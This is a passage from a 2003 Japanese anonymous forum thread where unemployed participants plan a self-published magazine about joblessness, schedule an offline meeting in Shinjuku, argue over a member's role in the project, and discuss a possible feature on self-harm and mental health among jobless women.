を作るつもりはありませんし、他の参加者も受け入れてはいないと感じました。
というか、何であなたの企画を実現させなければならないのでしょうか？
僕達はあなたの駒ですか？これは、オフ会参加者を中心に様々な人の意見が加わった「僕達の
企画」です。無職を取り扱った雑誌でも、多分違う雑誌になると思うので、ヒョウジさんはヒョウジさん
で仲間を集めてやればいいのではないでしょうか？
会った会わないは関係ないですよ。そもそもスタンスが違いすぎますし、企画を託すつもりありません。
ヒョウジさんはヒョウジさんでやればいいじゃないですか。
253: だめ猫 ◆Wdo4uUpp7Q [damenekotarou@hotmail.com] 03/11/10 00:44 ID:keXIeT/A(4/6)調 AAS
>>232
わかりました。その名前は、このスレからですよね。了解です。
お仕事ですか？頑張ってきてくださいね。
254(1): ぱる 03/11/10 01:27 ID:SxoFPK8V(1)調 AAS
>>249
どうも、この企画はヒョウジさんの企画書を中心に回っていると解釈されてる
ようにお見受けしますが、どこでどうそんな勘違いを・・・・
ご自身の企画は、どうかご自身で形にしてください。
あなたの企画を企業に持ち込むことについて、私たちが「託した」と発想する
わけもないのですが、なんでそうなるんだか・・・・
255: 03/11/10 06:53 ID:EcaGQXHJ(1/2)調 AAS
前に編プロを経営しててそこで雑誌作るって抜けた女は
どうしたんだろ？
消息が気になる。
256: だめ猫 ◆Wdo4uUpp7Q [damenekotarou@hotmail.com] 03/11/10 14:48 ID:keXIeT/A(5/6)調 AAS
オフ会の前に企画（ストックを含め）の決定と担当者を決めたかったけど、
反応がないので、そうもいきませんね。オフ会で多くを決めるようなことは、
なるべく避けたいとは思っているんですが。それよりも、参加者の把握が先
か・・・。あきらめちゃった人が多いのかな？
257: だめ猫 ◆Wdo4uUpp7Q [damenekotarou@hotmail.com] 03/11/10 15:43 ID:keXIeT/A(6/6)調 AAS
第3回オフ会日程の告知
11月20日（木） 場所 新宿
参加者 だめ猫、亀吉さん、ナス豚さん、ぱるさん 計4名
時間帯は有職者の方が来易い時間帯にしたいと思いますので、下記の
HPに都合の良い時間帯を書いて下さい。
外部ﾘﾝｸ:www.syanbi.com
まだまだ参加者を求めています。参加意志のある方は、書き込みをお願い
します。また、今回のオフの日程に会わない方は、とりあえずメールを下さい。
段々と持ち直してきたかな。少し、ホッとしました。焦らずに、ですね。
258: 03/11/10 15:47 ID:J0JbC/VU(1)調 AAS
Hikky's CHAT
ヒキコモリ＆心がヒキコモリの人が集うチャットです
お暇な方はお気軽に来てください
外部ﾘﾝｸ[html]:f14.aaacafe.ne.jp
259(1): 03/11/10 16:39 ID:55Tmktng(1)調 AAS
今すごくいいこと考えたけど、
ここプロもいるみたいだからやめとこｗ
260(1): KDS@大阪 ◆GkR4opec42 [kds3333@hotmail.com] 03/11/10 16:43 ID:fx737frI(1)調 AAS
>>259
覗いているのはせいぜい裏BUBUKAとかSPAくらいだろう
261(1): 03/11/10 20:30 ID:EcaGQXHJ(2/2)調 AAS
ひさしぶりにのぞいて見ましたが
有望そうな人がほとんど消えてしまったようですね
ダメ猫さんとか本当にダメな人しか残ってないような
262: 03/11/10 20:49 ID:GGN7fQhc(1)調 AAS
>>261
俺が台頭すると思って、
他の人で気に入らない人へはレスアンカーいれない
なおかつ無視してたから。
263(1): だめ猫 ◆Wdo4uUpp7Q [damenekotarou@hotmail.com] 03/11/11 15:55 ID:Dyxk5Ptw(1/2)調 AA×
264: だめ猫 ◆Wdo4uUpp7Q [damenekotarou@hotmail.com] 03/11/11 15:58 ID:Dyxk5Ptw(2/2)調 AAS
今日は時間が無いので、明日にでも>>263への私の意見と>>248への
返答をしたいと思います。誰か、意見を書いてくれるとうれしいなぁ。
265: だめ猫 ◆Wdo4uUpp7Q [damenekotarou@hotmail.com] 03/11/12 13:19 ID:glyY34a8(1)調 AAS
状況がまた変わりました。良い方にです。ルーザードックさんと連絡が
つきました。個人的な事情やPCの不調が重なって書き込みができなかっ
たそうです。ルーザードックさんが立てたかった新スレッドの文章は下記
のものです。
スレタイトル「■■こちら（雑誌・無職だめ）編集部！■■」
「無職だめ」から生まれた「無職の人による無職の人のための雑誌」
である「無職だめ」を発行するために生まれた編集部です。
このスレを使い、様々な無職、または無職を社会情勢や個人個人のメンタル面
に至るまで様々なアングルから真剣に「無職」について考える人が中心になって
制作する「雑誌制作」のためのスレです。
各コーナーを担当するレギュラー編集者は不定期に行われる
「編集会議オフ」に参加し必要な場合はこのスレ等にて
意見公募やアンケート等の「サポート」をお願いしながら
記事を作ったり、取材を行ったりして記事制作を行います。
また、新企画・編集者も随時ここで受け付けています。
ただし、１コーナーを担当する「編集者」は、編集部の行う
オフに参加するか、直接メール等で連絡出来るだけの身分を
明かしてもらうひつようがあります。
このスレに書き込みたくない場合は、直接私にメールしてくださっても結構です。
ルーザードックさんが、ここに書き込みをされたら、幹事（仮）からヒラに戻ろうと
思います。また、第３回オフ会はルーザードックさんが参加できるかがわかりませ
んので、場合によっては僕が幹事をすると思います。
266(1): 03/11/12 15:21 ID:UX+0O+Dm(1)調 AAS
リスカメンヘルは、無職とはまたちょっと一線画すんじゃないかねえ？
267: 03/11/12 19:22 ID:zSmgf67C(1)調 AAS
もうだめ猫はいいよ
ひっこめ
268(1): 03/11/13 09:13 ID:nfhKEsuS(1)調 AAS
これって出版するっていう意味ですか？
意図が良くわからないのですが？
一般の書店に並べるつもりなんでしょうか？
269: ルーザードック [mushokudesu2000@yahoo.co.jp] 03/11/13 14:36 ID:JF3pgyBu(1)調 AAS
スイマセン復活です・・・・・
ここをあまり除けない事情もあり、新スレの存在も
今日だめ猫さんからのメールで知りました。
使わせてもらっていあＰＣからこｋ０おに書き込みも
スレ立ても出来なかったので、先日だめ猫さんにメール
した所、このスレの存在をしりました。
正直もう少し早くここに復帰できる状態でしたが、色々あって
鬱になっていました、無責任な行動であったことをお詫びします。
そんな中でも自分の分の原稿は書いていました。
８ページに成ってしまいましたが・・・・・・・
正直実生活的にも大きなダメージを負ってしまいましたが、
何とか活動の継続を目指したいと思います。
だめ猫さんには心配と苦労をかけてしまいましたね
ありがとう御座いました。
時間がないので、あとはまた明日にでも・・・・・
270: 03/11/13 18:01 ID:411WLqfd(1)調 AAS
>>260の情報力や知識の程度が知れる誌名ｗ
271(1): だめ猫 ◆Wdo4uUpp7Q 03/11/15 03:03 ID:bFJQNBFm(1/3)調 AAS
ルーザードックさんの書き込み、ｷﾀ━━━━(ﾟ∀ﾟ)━━━━ｯ!!
ということで、一安心。やれやれ。
>>248
「リスカ」の提案者は僕ですが何か？別に僕はメンヘルじゃないですが、
メンヘルの友達はいます。いいじゃないですか、メンヘルでも。>>251でも
書きましたが、お互いの意見を尊重し合い、助け合いながら企画に関われ
る方なら別に誰でもいいんじゃないですか？アドバイスには従えませんが、
引き続き応援をよろしくです。
>>268
意図は、>>149を参考にして下さい。同人誌でスタートすることになるので、
一般の書店には･･･何時か、並ぶといいですね。詳しくは、過去ログを。
272: だめ猫 ◆Wdo4uUpp7Q 03/11/15 03:34 ID:bFJQNBFm(2/3)調 AAS
>>266
そうですね。リスカというか、メンヘル企画自体が無職と少しズレるかなと思います。
でも、個人的には一個ぐらいならメンヘル企画があっても悪くはないかなと思ってい
ます。
メンヘル自体は、無職に関係なく、学校でも職場でも家庭内でも発生します。ただ、
無職の人にもいるだろうし、不安定な環境に身を置くと精神不安定なものになりがちだ
と思います。ただ、精神分析などは親子関係に原因を求めがちですが･･･。
この企画自体は、記憶が曖昧ですが、オフ会で女性を取り上げたネタもということで、
僕が思いついたのを挙げて、その場で取り上げてもらったモノだと思います。
僕自体は、「ひきこもり」を取り上げるよりは興味深いと個人的に思っています（ひきこもり
も何時かは企画で取り上げたいですが）。なぜかと言いますと、割合は女性の方が多いのに、
無職は男性の問題のように思われがちだからです。女性は、家事手伝いという逃げ道があり
ます。また、一般職やパートで結婚に活路を見出す方法もあります。労働から追い出されて、
家庭や結婚に最終的には絡み取られている女性の事情を聞いてみたいと思います。これって、
遠回りしてますが、無職の問題だと思います。
とは言え、あまり評判が宜しくなければ別の企画を考えた方がいいかもしれませんね。>>266さん、
貴重なご意見、ありがとうございました。
273: だめ猫 ◆Wdo4uUpp7Q 03/11/15 03:50 ID:bFJQNBFm(3/3)調 AAS
うん？上の書き込みだけじゃ、説明が足りないなぁ。
ひきこもりの男女比率が８：２と言われています。逆に、リスカや拒食症は
男女比率が２：８だそうです。また、親が子どもに望むことは、男の子の場合
は「目標の達成」、女の子の場合は「周りへの気遣い」が多いと何かの調査
で読みました。
そういうので、男性は正社員にならなければいけないというのプレッシャーが
強くて、挫折感に悩まされたりするのかなと思います。また、女性は結婚のプレ
ッシャーが強く、他人の目に悩まされるのかなと思います。何せ、女性の場合、
化粧したり、ダイエットしたりと大変ですから。OLの昼飯も集団行動らしいですし。
まぁ、この説明で、リスカと家事手伝いと無職が関連あるものとして納得していた
だける自信はありませんが（ｗ
274(1): KDS@大阪 ◆GkR4opec42 [kds3333@hotmail.com] 03/11/15 05:03 ID:Zced5Wzc(1)調 AAS
男は下痢 女は便秘ですな
ひきこもりと拒食症のどちらが深刻かと言えば拒食症でしょうな
拒食＝死に直結しますので
こういった違いは生物学的なものなのか、そうか社会的性差なのか
興味がありますな
275(2): ( ´・∀・) 03/11/15 06:16 ID:scqfo/xz(1)調 AAS
>>252 だめ猫タン
それはﾎﾟｶｰﾝじゃなくてｺﾞﾙｧだぞ（ｗ
( ﾟДﾟ) ×
( ﾟдﾟ) ○
ヒョウジって人物は有職者なの？
なぜ貴重な戦力を減らすんだ。
喧嘩しないで話し合ったらいいと思う。
私たちは貴方の駒じゃありませんというが、
その台詞自体は組織の基本を無視した言葉だ
駒として動く奴がいなければ何も生み出せない
276: だめ猫 ◆Wdo4uUpp7Q 03/11/15 13:22 ID:EbWwg3Ay(1/2)調 AAS
>>275
>( ´・∀・)さん
>喧嘩しないで話し合ったらいいと思う。
その後、hotmailで２、３回やり取りをしましたが、話が平行線のままでしたので、
一端ここでやり取りを止めましょうということになりました。もちろん、一緒にやれる
のが一番良いとは思います。自分の力量不足を感じますし、このスレッドの雰囲気
を殺伐としたものにして大変申し訳ないとも思いました。
>駒として動く奴がいなければ何も生み出せない
それはわかります。ただ、ヒョウジさんは前スレでは不参加を表明をしていたのに、僕
が幹事（仮）に変わった途端、>>249で「私の企画を実現するために云々」と言い出した
ので、( ﾟдﾟ)ﾎﾟｶｰﾝ ＆ ( ﾟДﾟ)ｺﾞﾙｧ になってしまいました。ヒョウジさんのそういう姿勢に、
組織の基本以前に、一緒に企画を作り上げていく仲間として見てもらえていないような不
信感を抱いてしまいました。
この件については、ぱるさん以外に触れてくれる方がいませんでしたので、助かりました。
今後もアドバイス、よろしくお願いします。
277: だめ猫 ◆Wdo4uUpp7Q 03/11/15 13:28 ID:EbWwg3Ay(2/2)調 AAS
>>274
>KDS＠大阪さん
>こういった違いは生物学的なものなのか、そうか社会的性差なのか
>興味がありますな
そうですね。僕も興味があります。ただ、1Pの企画の中にそういった
意図を取り込むのは難しいですね。何回か、リスカ企画をやった上で、
特集を組めば、できるかもしれませんが。それには、まずインタビュー
を受けてくれる方を探さねば。それは、他の企画も同じですねぇ。
というか、まず企画担当者を決めねば（ｗ
278: 03/11/15 13:59 ID:dfroyBdi(1)調 AAS
>>271
同人誌ですか。
オレもさんかしたいですが東京は遠いので
HP作りで我慢しておきます
279(1): 03/11/15 14:10 ID:WHZ3TW0z(1)調 AAS
>>275
なんか余波があるようなの念のため。
だめ猫さんには説明したのですが、>>249は>>247に対するレスで
このスレで私が引き受けると言わない理由です。
それは>>252にあるとおり、だめ猫さんの言うとおりだから。
たいぶ前にリスカを含め企画に関する話も無視されてしまったことがありました。
それはだめ猫さんなりの思惑があってしたことらしいですが（時期を見ていた？）
どんな思惑があるにせよ、スレに書いてあることがすべてなので
それは言ってくれないと伝わりませんよと言いました。
また、企画詰めが先なのか担当者選定が先なのか分かりませんし。
企画に誰も名乗りをあげない現状を見る限りは「･･･」としか言い様ないです。
それも何か思惑があるのでしょうけど、もう2ヵ月も経っているし、
私はのんびり静観できるタイプじゃないので、では下りますと言ったわけです。
時期を延ばせば延ばすほど、テンション下がりそうなので･･･。
280(1): だめ猫 ◆Wdo4uUpp7Q 03/11/17 14:00 ID:qYcZ4BJC(1/8)調 AAS
>>279＝ヒョウジさんと判断して書き込ませていただきたいと思います。
>だめ猫さんには説明したのですが、>>249は>>247に対するレスで
>このスレで私が引き受けると言わない理由です。
>それは>>252にあるとおり、だめ猫さんの言うとおりだから。
もう少し詳しく説明をお願いします。
>たいぶ前にリスカを含め企画に関する話も無視されてしまったことがありました。
>それはだめ猫さんなりの思惑があってしたことらしいですが（時期を見ていた？）
>どんな思惑があるにせよ、スレに書いてあることがすべてなので
>それは言ってくれないと伝わりませんよと言いました。
>>252で説明した通りです。あと、僕がレスを返しすぎるのは個人的にはあまり
良くないと思っています。僕は一参加者に過ぎず、全ての企画の担い手ではあり
ません。また、そのような力量は残念ながら持ち合わせていません。ただ、レスが
途絶えるのもマズイので、まぁ・・・レスしてます。自分でもウザイなぁと思いますが、
仕方ないです。
また、それぞれの企画担当者が決まっていない段階で、企画が実現不可能だと
あれこれ言われても不毛な気がします。
（つづく）
281: だめ猫 ◆Wdo4uUpp7Q 03/11/17 14:01 ID:qYcZ4BJC(2/8)調 AAS
>>280の続き
>また、企画詰めが先なのか担当者選定が先なのか分かりませんし。
>企画に誰も名乗りをあげない現状を見る限りは「･･･」としか言い様ないです。
>それも何か思惑があるのでしょうけど、もう2ヵ月も経っているし、
>私はのんびり静観できるタイプじゃないので、では下りますと言ったわけです。
>時期を延ばせば延ばすほど、テンション下がりそうなので･･･。
・・・、うーん。ゼロからスタートした企画なんですから、企画参加者間の意思や
スピードに差があるのは当然だと思います。会社などの既存の組織で行う企画
では無いのですから、企画の進行だけではなく、参加者をまとめることに配慮する
必要があると思います。思惑がある云々ではなく、そういうものなのだとわかって
ほしいです。また、ヒョウジさんが納得できるような状況にするための働きかけを
自分自身でして下さい。
そういう配慮が面倒臭いから幹事にならないのかなと勘ぐってしまいます。また、
ヒョウジさんのペースで他の参加者が思うように動いてくれないから、企画から
下りるようにも思えます。今まで不参加表明していたのに、それって都合が良すぎ
るような気がします。
また、未経験者、無職を仲間として見ていない発言も多いですし、自分以外の経験
者の存在を無視しているような気がします。>>254のぱるさんのレスにも答えるべき
だと思います。
僕は喧嘩をしたいわけではありません。企画を進めていく中でのヒョウジさんの
姿勢に納得できないものがあるだけです。それにキチンと答えていただけるのなら、
是非一緒にやっていきたいと思っています。
282: だめ猫 ◆Wdo4uUpp7Q 03/11/17 15:48 ID:qYcZ4BJC(3/8)調 AA×
上下前次1-新書関写板覧索設栞歴
あと 699 ﾚｽあります
ｽﾚ情報 赤ﾚｽ抽出 画像ﾚｽ抽出 歴の未読ｽﾚ
ぬこの手 ぬこTOP 0.362s*